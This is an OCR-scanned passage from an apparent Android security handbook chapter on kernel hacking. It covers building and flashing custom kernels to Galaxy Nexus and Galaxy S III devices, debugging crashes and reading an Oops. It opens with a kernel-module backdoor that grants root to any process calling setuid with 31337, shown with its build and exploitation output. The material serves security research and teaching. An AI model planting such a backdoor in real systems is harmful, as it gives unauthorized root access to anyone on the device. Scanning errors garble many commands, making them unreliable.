module, called ahh_setuid. Using a simple instrumentation technique, this 
module creates a backdoor that gives root privileges to any program that calls 
the set ui d system call with the desired user ID of 31337. The process for build- 
ing and installing it is the same as before: 


dev: ~/android/src/kernel/omap $ make ARCH=arm CONFIG AHH_SETUID=m \ 
M=drivers/ahh_setuid 
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[ised 
LD [M] drivers/ahh_setuid/ahh_setuid_mod. ko 
dev: ~/android/src/kernel/omap $ adb push drivers/ahh_setuid/ahh_ setuid _mod.ko \ 
/data/local/tmp 
648 KB/s (26105 bytes in 0.039s) 
dev: ~/android/src/kernel/omap $ adb shell 
shell @android:/data/local/tmp $ su 
root@android:/data/local/tmp # insmod ahh_setuid_mod. ko 
insmod: init_module 'ahh_setuid_mod.ko' failed (Operation not permitted) 
shell @android:/data/local/tmp # exit 
shell @android:/data/local/tmp $ id 
uid=2000(shell) gid=2000(shell) groups=1003( graphics), 1004(input),... 
shell @android:/data/local/tmp $ ./setuid 31337 
shell @android:/data/local/tmp # id 
uid=0(root) gid=0(root) 


One thing that stands out in the preceding excerpt is the error message printed 
when you run i ns mod. The kernel prints this error because the i ni t_ module 
function returned - 1. This causes the kernel to automatically unload the mod- 
ule, alleviating the need to unload the module before inserting it again. After 
relinquishing root privileges, passing 31337 to the setuid system call yields 
root again. 

Even though loadable kernel modules are a convenient way to extend a run- 
ning kernel, or perhaps because of this fact, some Android devices are not 
compiled with loadable module support. You can determine if a running kernel 
supports loadable modules by checking for the modul es entry in the proc file 
system or looking for the value of CONFI G_ MODULES in the kernel configuration. 
During the release of Android 4.3, Google disabled loadable module support 
for all supported Nexus devices. 


Building a Custom Kernel 


Although the Linux kernel contains myriad facilities for configuring and extend- 
ing its functionality at runtime, some changes simply require building a custom 
kernel. For example, some configuration changes, such as enabling debugging 
facilities, cause entire files or functions to be included at compile time. This chapter 
has already explained obtaining source code, setting up a build environment, 
and configuring the kernel. This section walks you through the remainder of 
the process building the kernel source code for the AOSP-based Galaxy Nexus 
and the Galaxy S IIT manufactured by Samsung. 


AOSP-Supported Devices 


Earlier in this chapter, you obtained the proper source code, set up the build 
environment, and configured the kernel for your Galaxy Nexus running 
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Android 4.2.2. There’s only one step in the process of building a custom kernel. 
To complete the process, you compile the kernel using the default make target, 
as shown here: 


dev: ~/android/src/kernel/omap $ make 
aaa) 

Kernel: arch/arm/boot/zl mage is ready 
dev: ~/android/src/kernel/omap $ 


When a build completes successfully, the kernel build system writes the 
compiled kernel image to the z| mage file in the arch/arm/ boot directory. If 
errors occur, they must be resolved before the build will complete successfully. 
Once the build is successful, booting the newly created kernel is covered in the 
“Creating a Boot Image” and “Booting a Custom Kernel” sections that follow. 


kee The process of building a custom kernel should be identical for all AOSP- 
supported devices, including all devices in the Nexus family. 


An OEM Device 


Building a kernel for an OEM device is very similar to building one for an AOSP 
device. This makes a lot of sense when remembering that OEMs make their 
firmware builds from their modified version of the AOSP code. As with any 
OEM device-related tasks, the specifics vary from one vendor to the next. This 
section explains how to build and test a custom kernel for the Sprint version 
of the Samsung Galaxy S III (GPH-L710). The goal is to produce a kernel that is 
compatible with the device's existing kernel. 

The first thing you need to determine when building the kernel is which 
source to use. Exactly how you accomplish this varies from one device to the 
next. If you are lucky, the kernel version string references a commit hash from 
one of the AOSP Git repositories. This is especially true for older devices, which 
used kernels built and supplied by Google. The Motorola Droid that’s used in 
one of the “Case Studies” sub-sections later in this chapter is one such device. 
Check the device’s kernel version using this command: 


shel! @android:/ $ cat /proc/version 

Linux version 3.0.31-1130792 (se.infra@SEP-132) (gcc version 4.6.x- 
google 20120106 (prerelease) (GCC) ) #2 SMP PREEMPT Mon Apr 15 19:05:47 
KST 2013 


Unfortunately, the Galaxy S III does not include a commit hash in its version 
string. As such, you need to take an alternative approach. 
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Another approach involves obtaining the OEM-provided version of the kernel 
source tree. Start by inspecting the build fingerprint for the device: 


shell @android:/ $ getprop ro. build. fingerprint 
samsung/d2spr/d2spr:4.1.2/)Z054K/L710VPBMD4: user/release- keys 


The Compatibility Definition Document (CDD) explains that this system 
property is composed of the following fields. The following text was slightly 
modified for formatting. 


$( BRAND) / $({ PRODUCT) /$( DEVICE): $(RELEASE)/$(1D)/$(1NCREMENTAL): $( TYPE) / 
$( TAGS) 


The specific fields of interest are in the second grouping. They are the RELEASE, 
| D, and INCREMENTAL values. 

The first field you need to pay attention to is the | NCREMENTAL field. Many 
vendors, including Samsung, use the | NCREMENTAL field as their own custom 
version number. From the output you know Samsung identifies this firmware 
as version L710VPBMD4. 

Armed with the device model number ($PH- L710 according toro. product. 
model ) for this device and Samsung’s version identifier, you are able to search 
Samsung’s open source portal. When you search for the model number, you see 
a download with the version MD4 in the results. Download the corresponding 
archive and extract the Kernel. tar.gz and README Kernel.txt files: 

dev: ~/sph-1710 $ unzip SPH-L710_NA_]B_Opensource.zip Kernel.tar.gz \ 

README_Kernel.txt 

Archive: SPH-L710_NA_]B_ Opensource. zip 

inflating: Kernel.tar. gz 
inflating: README Kernel.txt 
dev: ~/sph-1710 $ mkdir kernel 


dev: ~/sph-1710 $ tar zxf Kernel.tar.gz -C kernel 
[evil 


With the relevant files extracted, the next step is to read the README_Kernel. 
txt file. This file contains instructions, including which toolchain and build 
configuration to use. The README_Kernel.txt file included in the archive says 
to use the ar m- eabi - 4. 4. 3 toolchain along with the m2_spr_defconfig build 
configuration. Something is fishy, though. The kernel version string that the 
toolchain used to build the running kernel identified itself as “gcc version 
4.6.x-google 20120106 (prerelease).” The kernel version string is more authorita- 
tive than README_Kernel.txt so keep this in mind. 

The next step in the process is to set up the build environment. The README _ 
Kernel. txt file suggests that using the toolchain from AOSP should work. To 


327 


328 


Chapter 10 = Hacking and Attacking the Kernel 


be safe and avoid potential pitfalls, try to match the build environment of the 
device as much as possible. Here is where the RELEASE and | D fields from the 
build fingerprint become relevant. From the output, these are set to 4. 1. 2 and 
) Z054K for the target device. To find out exactly which tag to use, consult the 
“Codenames, Tags, and Build Numbers” page in the Android documentation at 
http: //source. android. com/source/build-numbers. htm . Looking up] Z054K, 
you see that it corresponds to the andr oi d- 4.1. 2_r1 tag. Using this, initialize 
the AOSP repository accordingly as follows: 


dev: ~/sph-1710 $ mkdir aosp && cd $_ 

dev: ~/sph-!1710/aosp $ repo init -u \ 
https://android.googlesource.com/a/platform/ manifest -b android-4.1.2_r1 
dev: ~/sph-1710/aosp $ repo sync 

[ead 


After checking out the correct AOSP revision, you are almost ready to start 
building the kernel. But first, you need to finish re-initializing the kernel build 
environment, as shown here: 


dev: ~/sph-1710/aosp $ . build/envsetup. sh 
[ece] 
dev: ~/sph-1710/aosp $ lunch full-user 


PLATFORM_VERSI ON_CODENAME=REL 
PLATFORM_VERSI ON=4. 1. 2 
TARGET_PRODUCT=f ul 
TARGET_BUILD_VARI ANT=user 
TARGET_BUILD_TYPE=rel ease 
TARGET_BUI LD_APPS= 
TARGET_ARCH=arm 
TARGET_ARCH_VARI ANT=ar mv7- a 
HOST_ARCH=x 86 

HOST_OS=l i nux 
HOST_OS_EXTRA=Li nux-3.2.0-54-generic-x86_64-with-Ubuntu-12.04-precise 
HOST_BUILD_TYPE=rel ease 

BUI LD_|I D=) Z054K 

OUT_DI R=out 


dev: ~/sph-1710/aosp $ export ARCH=arm 
dev: ~/sph-1710/aosp $ export SUBARCH=arm 
dev: ~/sph-1710/aosp $ export CROSS COMP| LE=arm-eabi 


This brings the AOSP prebuilt toolchain into your environment. Unlike your 
Galaxy Nexus kernel build, you use the f ul | -user build configuration. Also, 
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you set the CROSS_COMPI LE environment variable instead of editing the Makefile 
(as the README_Kernel.txt instructs). Query the compiler’s version: 
dev: ~/sph-1710/aosp $ arm-eabi-gcc --version 


arm-eabi-gcc (GCC) 4.6.x-google 20120106 (prerelease) 
[ews] 


Excellent! This exactly matches the compiler version from the running ker- 
nel’s version string! Using this toolchain should theoretically generate a nearly 
identical kernel. It should, at the very least, be compatible. 

Using further information from the README_Kernel.txt file, proceed to con- 
figure and build the kernel: 


dev: ~/sph-1710/aosp $ cd ~/sph-!710/kerne 
dev: ~/sph-1710/kernel $ make m2_spr_defconfig 
Lowel 
# 
# configuration written to .config 
# 
dev: ~/sph-1710/kernel $ make 
[ewe 
Kernel: arch/arm/boot/zl mage is ready 


If everything goes according to plan, the kernel builds successfully and the 
compressed image is available as ar ch/ ar m/ boot/z! mage. In information secu- 
rity, things rarely go according to plan. While building this kernel, you might 
run into one particular issue. Specifically, you might be met with the following 
error message. 


LZO arch/arm/ boot/compressed/ piggy.!zo 
/bin/sh: 1: I|zop: not found 
make[2]: *** [arch/arm/boot/compressed/piggy.!zo] Error 1 
make[ 1]: *** [arch/arm/boot/compressed/vmlinux] Error 2 
make: *** [zl mage] Error 2 


This occurs when the build system is missing the | zop command. Samsung 
compresses its kernel with the LZO algorithm, which prefers speed over minimal 
storage space usage. After installing this dependency, rerun the make command 
and the build should complete successfully. 


Creating a Boot Image 


Recall that Android devices typically have two different modes where they 
boot a Linux kernel. The first mode is the normal boot process, which uses the 
boot partition. The second mode is during the recovery process, which uses 
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the recovery partition. The underlying file structure for both of these parti- 
tions is identical. They both contain a short header, a compressed kernel, and 
an initial ramdisk (| ni t rd) image. Usually the same kernel is used for both, but 
not always. In order to replace the kernel used in these modes, it is necessary to 
re-create the partition image to include your new kernel. This section focuses 
on the boot. img. 

Creating a boot image with your freshly built custom kernel is easiest when 
basing it off an existing boot image. The first step is obtaining such an image. 
Although using a boot image from a stock firmware image usually works, using 
the image directly from the device is safer. Because a device’s kernel might 
have been updated by an OTA update or otherwise, using an image obtained 
directly from the device is sure to start with something that is working. To 
obtain the image from the device, follow the steps outlined in the “Extracting 
from Devices” section earlier in this chapter. 

The next step is to extract the obtained boot image. Follow the steps outlined 
in the “Getting the Kernel from a Boot Image” section. This leaves you with the 
bootimg. cfg,zl mage, andi nitrd. i mg files. 


Kee Although the unpacking and repacking process is usually done on the 
machine used for running ADB, it could just as well be performed entirely on a rooted 
device. 


Similar to how you extract a kernel, you use the abooti mg tool to create the 
boot image. For this purpose, aboot i mg supports two use cases: updating and 
creating. Updating is useful when the original boot image need not be saved 
and is accomplished as follows. 

dev: ~/android/src/kernel/omap/staging $ abootimg -u cur-boot.img \ 

-k ../arch/arm/ boot/zl mage 


reading kernel from../arch/arm/ boot/zl mage 
Writing Boot | mage cur- boot. img 


This excerpt shows how you can use aboot i mg’s convenient - u option to update 
the boot image, replacing the kernel with your own. Alternatively, you can use 
the - -create option to assemble a boot image from a kernel, i ni trd, and an 
optional secondary stage. In cases where the kernel ori ni t rd have grown, the 
abootimg command produces an error message like the following: 

dev: ~/android/src/kernel/omap/staging $ abootimg --create new-boot.img -f \ 

bootimg.cfg -k bigger-zl mage -r initrd.img 

reading config file bootimg.cfg 

reading kernel from bigger-z!l mage 


reading ramdisk from initrd. img 
new-boot. img: updated is too big for the Boot Image (4534272 vs 4505600 bytes) 
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To overcome this error, simply pass the - c option (as shown in the following 
excerpt) or update the bootsize parameter within the booti mg. cfg used by 
abooti mg. 

dev: ~/android/src/kernel/omap/staging $ abootimg --create new-boot.img -f \ 

bootimg.cfg -k bigger-zl mage -r initrd.img -c "bootsize=4534272'" 

reading config file bootimg.cfg 

reading kernel from bigger-z!l mage 


reading ramdisk frominitrd.img 
Writing Boot | mage new-boot.img 


For the Samsung Galaxy S III, the process is nearly identical. As was done for 
with the Nexus device, obtain the existing boot image from the device or a factory 
image. This time, download the kl £$_HOME_L710VPBMD4_L710SPRBMD4_1130792_ 
REVO3_user_low_ship.tar.md5 factory image by searching the SamFirmware 
website for the device’s model number. This should be the same image you used 
to upgrade your device. Extract the firmware image and boot image inside as 
shown in the following excerpt: 

dev: ~/Ssgs3-md4 $ mkdir stock 

dev: ~/sgs3-md4 $ tar xf KIES*MD4*.tar.md5 -C stock 

dev: ~/sgs3-md4 $ mkdir boot && cd $_ 

dev: ~/Sgs3-md4/boot $ abootimg -x ../stock/ boot. img 

writing boot image config in bootimg.cfg 

extracting kernel in zl mage 

extracting ramdisk in initrd.img 


With the stock boot. i mg extracted, you have everything you need to build a 
custom boot image. Use aboot i mg to do: 

dev: ~/Sgs3-md4/boot $ mkdir ../staging 

dev: ~/5gs3-md4/boot $ abootimg --create ../staging/boot.img -f bootimg.cfg \ 

-k ~/sph-!710/kernel/arch/arm/boot/zl mage -r initrd.img 

reading config file bootimg.cfg 

reading kernel from /home/dev/sph-!710/kernel/arch/arm/boot/zl mage 

reading ramdisk frominitrd.img 

Writing Boot Image ../staging/boot.i mg 


Booting a Custom Kernel 


After a successful build, the kernel build system writes the kernel image to ar ch/ 
arm/ boot/zl mage. You can boot this newly built kernel on a device in several 
ways. As with many other things on Android, which methods apply depend 
on the particular device. This section covers four methods: two that use the 
fast boot protocol, one that uses an OEM proprietary download protocol, and 
one that is done on the device itself. 
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Using Fastboot 


Booting this newly built kernel using f ast boot , for example on an AOSP- 
supported device, can be accomplished one of two ways. You can either boot 
the boot. img straight away or write it to the boot partition for the device. The 
first method is ideal because recovering from failure is as easy as rebooting 
the device. However, this method may not be supported by all devices. The 
second method is more persistent and is preferred when the device may need 
to be rebooted many times. Unfortunately, both methods require unlocking the 
device’s boot loader. In either case, you must reboot the device into f ast boot 
mode, as shown here: 


dev: ~/android/src/kernel/omap/staging $ adb reboot bootloader 


After this command is executed, the reference device reboots into the boot 
loader and enables f ast boot mode by default. In this mode, the device displays 
an opened Bugdroid and the text “FASTBOOT MODE” on the screen. 


| WARNING | Unlocking the boot loader often void’s a device’s warranty. Take 
extreme care to do everything correctly because a misstep could render your device 
permanently unusable. 


The first method, which uses the boot command from the fast boot utility, 
allows directly booting the newly created boot. img. This method is nearly 
identical to how you booted a custom recovery in Chapter 3. The only differ- 
ence is that you're booting a boot . i mg instead of arecovery.img. Here are the 
relevant commands: 


dev: ~/android/src/kernel/omap/staging $ fastboot boot new-boot.img 

[.. device boots ..] 

dev: ~/android/src/kernel/omap/staging $ adb wait-for-device shell cat \ 
/proc/version 

Linux version 3.0.31-g9f818de-dirty (jdrake@dev) (gcc version 4.7 (GCC) )... 


After rebooting to the boot loader and using f ast boot boot to boot the boot. 
i mg, you shell in and confirm that the modified kernel is running. 

The second, more permanent method uses fast boot flash to write the 
newly created boot. img to the device’s boot partition. Here are the commands 
to carry out this method: 


dev: 0: ~/android/src/kernel/omap/staging $ fastboot flash boot new-boot.img 
boot new- boot. img 

sending ‘boot’ (4428 KB).. 

OKAY 1.6795] 

writing 'boot'... 

OKAY 1.1215] 

finished. total time: 2. 800s 

dev: 0: ~/android/src/kernel/omap/staging $ fastboot reboot 

rebooting.. 
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finished. total time: 0.006s 

dev: 0: ~/android/src/kernel/omap/staging $ adb wait-for-device shell 

shell @android:/ $ cat /proc/version 

Linux version 3.0.31-g9f818de-dirty (jdrake@dev) (gcc version 4.7 (GCC) )... 


After executing the fast boot flash boot command, you reboot the device 
and shell in to confirm that the modified kernel is running. 


Using OEM Flashing Tools 


The process for flashing the boot partition of an OEM device varies from one 
device to the next. Unfortunately, this is not always possible. For example, some 
OEM devices have a locked boot loader that cannot be unlocked. Other devices 
might prevent flashing an unsigned boot. i mg at all. This section explains how 
to flash the custom-built kernel for the Samsung Galaxy S III. 


ike Using a rooted device, it may be possible to work around signing issues with 
kexec.Thek exec program boots a Linux kernel from an already-booted system. 
Detailed use of k ex ec is outside the scope of this chapter. 


Though the Sprint Samsung Galaxy S III cryptographically validates the boot . 

i mg, it does not prevent you from flashing or booting an unsigned copy. Rather, 
it only increases an internal counter that tracks how many times a custom image 
was flashed. This counter is displayed onscreen when the device is booted into 
download mode, as you'll see later in this section. Samsung uses this counter 
to track whether a device’s warranty was voided due to the use of unofficial 
code. Knowing that flashing an unsigned boot . i mg will not brick your device, 
you are ready to actually put it on the device and boot it. 


kee Chainfire, who focuses on Samsung, created a tool called TriangleAway 
that is able to reset the flash counter of most devices. This is only one of many of his 
tools, including the venerable SuperSU. Chainfire’s projects can be found atht t p: / / 
chainfire. eu/ 


As with many OEM devices, the Samsung Galaxy S III does not support 
fastboot . However, it does support a comparable proprietary download mode. 
This example uses this mode, along with the corresponding proprietary flashing 
tool, to write the newly created boot. i mg. 

The official tool for flashing various parts of Samsung devices is the Odin util- 
ity. In fact, Odin is reportedly the utility that Samsung employees use internally. 
The general process is much like that of a Nexus device. First put the device 
into download mode, as shown here: 


dev: ~/sgs3-md4/boot $ cd ../staging 
dev: ~/$gs3-md4/staging $ adb reboot bootloader 


333 


334 


Chapter 10 = Hacking and Attacking the Kernel 


The device is now ready to accept the image, but there’s one problem: Odin 
doesn’t take a raw boot image as input. Instead, as with the stock firmware 
image, it uses a format called . t ar. md5. The specific details of how this file is 
generated are important for getting Odin to accept the boot . i mg . You must add 
the MD5 to the image, which serves as an integrity-checking mechanism (MD5) 
and allows packaging multiple partition images into one file. You package the 
freshly built boot image (including your custom kernel) as so: 


dev: ~/sgs3-md4/staging $ tar -H ustar -c boot.img > boot.tar 
dev: ~/sgs3-md4/staging $ ( cat boot.tar; md5sum -t boot.tar ) > boot.tar.md5 


Now you have everything you need prepared, but you still have one problem 
to deal with. Odin is only available for Windows; it can’t be run on the Ubuntu 
development machine being used for this example. An open source program 
called Heimdall aims to solve this issue, but it doesn’t work with the SPH-L710. 
Unfortunately, you need to copy the boot.t ar. md5 file to a Windows machine and 
run Odin with Administrator privileges. When Odin appears, check the check- 
box next to the PDA button and then click it. Navigate to where your boot. tar. 
md5 file is on the file system and open it. Boot the device into download mode by 
holding the Volume Down and Home buttons while pressing the power button or 
using the adb reboot bootloader command. After the warning appears, press 
the Volume Up button to continue. The download mode screen appears showing 
some status including your “Custom Binary Download” count. After that, plug 
the device into the Windows computer. At this point Odin looks like Figure 10-3. 
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Figure 10-3: Odin ready to flash boot 
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Now click the Start button to flash the boot partition. If the Auto Reboot option 
is selected, the device reboots automatically after flashing completes. Once the 
reboot completes, you can safely reconnect the device to your development 
machine and confirm success as shown: 


shell @android:/ $ cat /proc/version 
Linux version 3.0.31 (jdrake@dev) (gcc version 4.6.x-google 20120106 


Writing the Partition Directly 


Besides using f ast boot or OEM flash tools, you can write the custom boot image 
directly to the boot partition. The main advantage to this approach is that you 
can use it without rebooting the device. For example, Chainfire’s MobileOdin 
app uses this method to flash parts of the device entirely without the use of 
another computer. Overall, this approach is faster and easier because it requires 
fewer steps and mostly avoids the need for extra tools. 

However, this approach has additional requirements and potential problem 
areas that you must consider. First of all, this approach is only possible on a 
rooted device. Without root access, you simply will not be able to write to the 
block device for the boot partition. Secondly, you must consider whether there 
are any boot-level restrictions that would prevent this method from succeeding. 
If the boot loader prevents booting unsigned boot images, you could end up 
bricking the device. Further, you must accurately determine which block device 
to use. This is sometimes difficult and has potentially dire consequences if you 
are incorrect. If you write to the wrong partition, you might brick the device to 
the point of being unrecoverable. 

In the case of the two case study devices though, the boot loader does not 
need to be unlocked and signature enforcement does not prevent this method. 
Though the Samsung Galaxy S III will detect a signature failure and increment 
the custom flash counter, it doesn’t prevent booting the unsigned boot image. 
The Galaxy Nexus simply doesn’t verify the signature at all. Exactly how you 
do this on each device varies, as shown in the following excerpts. 
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On the Galaxy Nexus: 


dev: ~/android/src/kernel/omap/staging $ adb push new-boot.img /data/local/tmp 
2316 KB/s (4526080 bytes in 1.907s) 

dev: ~/android/src/kernel/omap/staging $ adb shell 

shell @android:/data/local/tmp $ exec su 

root @android:/data/local/tmp # dd if=boot.img \ 

of =/dev/ bl ock/platform/omap/omap_hsmmc. 0/by-name/boot 

8800+0 records in 

8800+0 records out 

4505600 bytes transferred in 1.521 secs (2962261 bytes/sec) 

root @android:/data/local/tmp # exit 

dev: ~/android/src/kernel/omap/staging $ adb reboot 

dev: ~/android/src/kernel/omap/staging $ adb wait-for-device shell cat \ 
/proc/version 

Linux version 3.0.31-g9f818de-dirty (jdrake@dev) (gcc version 4.7 (GCC) )... 


On the Samsung Galaxy S III: 


Kee When using this method, it’s not necessary to append the MDS to the boot 
image as is necessary when using Odin. 


dev: ~/sgs3-md4 $ adb push boot.img /data/local/tmp 

2196 KB/s (5935360 bytes in 2. 638s) 

dev: ~/sgs3-md4 $ adb shell 

shell @android:/data/local/tmp $ exec su 

oot @android:/data/local/tmp # dd if =boot.img \ 

of =/dev/ bl ock/platform/ msm sdcc.1/by-name/ boot 

11592+1 records in 

11592+1 records out 

5935360 bytes transferred in 1.531 secs (3876786 bytes/sec) 
oot @android:/data/local/tmp # exit 

dev: ~/sgs3-md4 $ adb reboot 

dev: ~/sgs3-md4 $ adb wait-for-device shell cat /proc/version 
Linux version 3.0.31 (jdrake@dev) (gcc version 4.6.x-google 20120106 


In each case, copy the image back to the device using ADB and then write it 
directly to the block for the boot partition device using dd. After the command 
completes, reboot the device and shell in to confirm that the custom kernel is 
being used. 


Debugging the Kernel 


Making sense of kernel bugs requires peering deep into the internals of the 
operating system. Triggering kernel bugs can result in a variety of undesired 
behaviors, including panics, hangs, and memory corruption. In most cases, trig- 
gering bugs leads to a kernel panic and thus a reboot. In order to understand 
the root cause issues, debugging facilities are extremely useful. 

Luckily, the Linux kernel used by Android contains a multitude of facilities 
designed and implemented just for this purpose. You can debug crashes after 
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they occur in several ways. Which methods are available depends on the par- 
ticular device you're using for testing. When developing exploits, tracing or live 
debugging helps a developer understand subtle complexities. This section covers 
these debugging facilities and provides detailed examples of using some of them. 


Obtaining Kernel Crash Reports 


A vast majority of Android devices simply reboot whenever an error occurs 
in kernel-space. This includes not only memory access errors but also kernel 
mode assertions (BUG) or other error conditions. This behavior is very disrup- 
tive when conducting security research. Fortunately, there are several ways to 
deal with this and obtain useful crash information. 

Prior to rebooting, the Linux kernel sends crash-related information to the 
kernel log. Accessing this log is typically accomplished by executing the d mes g 
command from a shell. In addition to the d mesg command, it’s possible to con- 
tinuously monitor the kernel log using the kms g entry in the proc file system. 
The full path to this entry is / proc/kmsg. 

It might not be possible to access these facilities without root access. On most 
devices, access to / proc/kmsg is limited to the root user or users in the system 
group. Older devices only allow access from the root user. Additionally, the 
dmesg command can be restricted to the root user by using the dmesg_restrict 
parameter discussed in Chapter 12. 

In addition to the live kernel log, Android offers another facility for obtaining 
crash information after the device successfully reboots. On devices that support 
this facility (those with CONFI G_ANDROI D_RAM_CONSOLE enabled), the kernel log 
prior to the reboot is available from the | ast_kmsg entry in the proc file system. 
The full path to this entry is/ proc/|ast_kmsg. Unlike dmesg and / proc/kmsg, 
accessing this entry usually does not require root access. This is advantageous 
when attempting to exploit a previously unknown kernel bug to gain initial 
root access to a device. 

You can find other relevant directories by inspecting an Android device. One 
such directory is the / data/dontpanic directory. The i nit. rc script on many 
devices contains commands to copy the contents of several proc file system 
entries to such directories. The following excerpt from thei ni t. rc of a Motorola 
Droid 3 running Verizon’s Android 2.3.4 build is an example: 


shell @cdma_solana:/# grep -n ‘copy.*dontpanic' /init* 
init. mapphone_cdma.rc: 136: copy /proc/last_kmsg /data/dontpanic/last_kmsg 
init. mapphone_cdma.rc: 141: copy /data/dontpanic/apanic_console 


gal 
init. rc:127: copy /proc/apanic_console /data/dontpanic/apanic_console 


l 

l 

/data/logger/last_apanic_console 

[ 

l 

J/init.rc:131: copy /proc/apanic_threads /data/dontpanic/apanic_threads 
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Here, the! ast _kmsg,apanic_console,andapanic_threads proc entries are 
copied. The latter two entries do not exist on most Android devices; so they offer 
no help when debugging. Besides / dat a/ dont panic, another directory, / dat a/ 
logger, is also used. Inspecting thei nit. rc files on a different device might 
reveal other directories. However, this method is less likely to be fruitful than 
accessing / proc/kmsg and/ proc/|ast_kmsg directly. 

The final method prevents the device from rebooting when the kernel encoun- 
ters an error. The Linux kernel contains a pair of runtime configuration param- 
eters that control what happens when problems occur. First, the / proc/sys/ 
kernel / panic entry controls how many seconds to wait before rebooting after 
a panic occurs. Android devices typically set this to 1 or 5 seconds. Setting it 
to zero, as shown below, prevents rebooting. 


| WARNING | Use caution when changing the default panic behavior. Although not 
rebooting may seem like the most attractive method, continuing after errors occur in 
the kernel can lead to data loss or worse. 
shel! @android:/ $ cat /proc/sys/kernel/ panic 
5 
shel! @android:/ $ su -c 'echo 0 > /proc/sys/kernel/panic' 


shell @android:/ $ cat /proc/sys/kernel/ panic 
0 


Another entry, / proc/sys/kernel/panic_on_oops, controls whether or not 
an Oops (discussed in the next section) triggers a panic at all. It is enabled by 
default, but you can disable it easily, as shown here: 

shell @android:/ $ cat /proc/sys/kernel/panic_on_oops 

1 

shell @android:/ $ su -c ‘echo 0 > /proc/sys/kernel/panic_on_oops' 

shell @android:/ $ cat /proc/sys/kernel/panic_on_oops 

0 


Using these methods, it is possible to obtain kernel crash information. Now 
you must make sense of this information to understand what issue is occurring 
in kernel space. 


Understanding an Oops 


Kernel crash information is often referred to as an Oops. An Oops is nothing 
more than a brief crash dump. It contains information such as a general classifica- 
tion, register values, data pointed to by the registers, information about loaded 
modules, and a stack trace. Each piece of information is provided only when 
it is available. For example, if the stack pointer gets corrupted, it is impossible 
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to construct a proper stack trace. The remainder of this section examines an 
Oops message from a Nexus 4 running Android 4.2.2. The full text of this 
Oops is included with this book’s extra materials at http://www. wil ey. com/ 
go/ androi dhackershandbook. 


Keg] The kernel used for this section contains modifications from LG Electronics. 
As such, some information might not appear in Oops messages from other devices. 


This particular Oops occurred when triggering CVE-2013-1763, which lies 
in the sock_diag_lock_handler function. More about this particular issue 
is covered in a case study in the “sock_diag” section later in this chapter. 
Rather than focus on that particular vulnerability here, let’s focus on the 
understanding Oops message itself. 

The first line of the Oops indicates that an attempt was made to access 
memory that was not mapped. This line is generated from the __do_ker- 
nel fault function inarch/arm/ mm/fault.c. 


Unable to handle kernel paging request at virtual address 00360004 


The kernel attempted to read from the user-space address 0x00360004. Because 
nothing was mapped at this address in the user-space process that triggered 
this issue, a page fault occurred. 

The second and third lines deal with page table entries. These lines are gener- 
ated from the show_pte function, alsoinarch/arm/mm/fault.c. 


pgd = e9d08000 
[00360004] *pgd=00000000 


The second line shows the location of the Page Global Directory (PGD), whereas 
the third line shows the value within the PGD for this address and the address 
itself. Here, the * pgd value 0x00000000 indicates that this address is not mapped. 

Page tables serve many purposes. Primarily, they are used to translate virtual 
memory addresses into physical RAM addresses. They also track memory per- 
missions and swap status. On 32-bit systems, page tables also manage system- 
wide use of physical memory beyond what the address space would normally 
allow. This allows a 32-bit system to utilize more than 4GB of RAM, even when 
a single 32-bit process cannot address all of it. You can find more information 
about page tables and page fault handling in the book Understanding the Linux 
Kernel, 3rd edition, or inside the Document at i on/ vm directory in the Linux kernel 
source tree. 

Following the page table information, the Oops message includes a line con- 
taining several useful pieces of information: 
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Internal error: Oops: 5 [#1] PREEMPT SMP ARM 


Despite being only a single line, this line is packed with information. This line 
is emitted from the __die functioninarch/arm/kernel/traps.c. The first part 
of the string, | nternal error, is static text inside the kernel source. The next 
part, 0ops, is passed in from the calling function. Other call sites use different 
strings to indicate what type of error occurred. The next part, 5, indicates the 
number of times the __di e function has executed, though it is unclear why it 
shows 5 here. The remainder of the line shows various features that the kernel 
was compiled with. Here the kernel was compiled with preemptive multi-tasking 
(PREEMPT), symmetric multi-processing (MP ), and using the ARM execution mode. 

The next several lines are generated from the__show_regs functioninarch/ 
arm/ kernel /process.c. This information is some of the most important infor- 
mation in the Oops message. It is in these lines where you find out where the 
crash occurred in the code and what state the CPU was in when it happened. The 
following line begins with the number of the CPU on which the fault occurred. 


CPU: 0 Not tainted (3.4.0-perf-g7cellcd ind#1) 


After the CPU number, the next field shows whether or not the kernel was 
tainted. Here the kernel is not tainted, but if it were it would say Tai nt ed here 
and would be followed by several characters that indicate exactly how the kernel 
was tainted. For example, loading a module that violates the GPL causes the 
kernel to become tainted and is indicated by the G character. Finally, the kernel 
version and build number is included. This information is especially useful 
when handling large amounts of Oops data. 

The next two lines show locations within the kernel’s code segment where 
things went wrong: 


PC is at sock_diag_rcv_msg+0x80/0xb4 
LR is at sock_diag_rcv_msg+0x68/0xb4 


These two lines show the symbolic values of the pc and | r CPU registers, 
which correspond to the current code location and its calling function. The 
symbolic name is retrieved using the print_symbol function. If no symbol is 
available, the literal register value will be displayed. With this value in hand, one 
can easily locate the faulty code using IDA pro or an attached kernel debugger. 

The next five lines contain full register information: 

pc : <c066ba8c> Ir : <c066ba74> psr: 20000013 

sp : ecf7dcd0 ip: 00000006 fp: ecf7debc 

r10: 00000012 r9 : 00000012 r8 : 00000000 


r7 : ecf7dd04 r6 : cl08bb4c r5 : ea9d6600 r4 : ee2bb600 
r3 : 00360000 r2 : ecf7dcc8 rl: ea9d6600 rO : cOde8cic 


These lines contain the literal values for each register. Such values can be 
very helpful when tracking code flow backward from the crashing instruction, 


Chapter 10 = Hacking and Attacking the Kernel 


especially when combined with memory content information that appears later 
in the Oops message. The final line of the literal register value block shows 
various encoded flags: 


Flags: nzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user 


The flags are decoded into a human readable representation. The first group, 
which is nz Cv here, corresponds to the Arithmetic Logic Unit (ALU) status flags 
stored in the cpsr register. If a flag is on, it will be shown with a capital letter. 
Otherwise, it will be shown in lowercase. In this Oops, the carry flag is set, but 
the negative, zero, and overflow flags are unset. 

Following the ALU status flags, the line shows whether or not interrupts or 
fast interrupts are enabled. Next, the Oops shows what mode the processor was 
in at the time of the crash. Because the crash occurred in kernel-space, the value 
isSVC_32 here. The next two words indicate the instruction set architecture 
(ISA) in use at the time of the crash. Finally, the line indicates whether the cur- 
rent segment is in kernel-space or user-space memory. Here it is in user-space. 
This is a red flag because the kernel should never attempt to access unmapped 
memory in user-space. 

The next line, which concludes the output generated by the __show_regs 
function, contains information that is specific to ARM processors. 


Control: 10c5787d Table: aa70806a DAC: 00000015 


Here, three fields appear: Control, Table, and DAC. These correspond to the 
special privileged ARM registers c1, c2, and c3, respectively. The c1 register, 
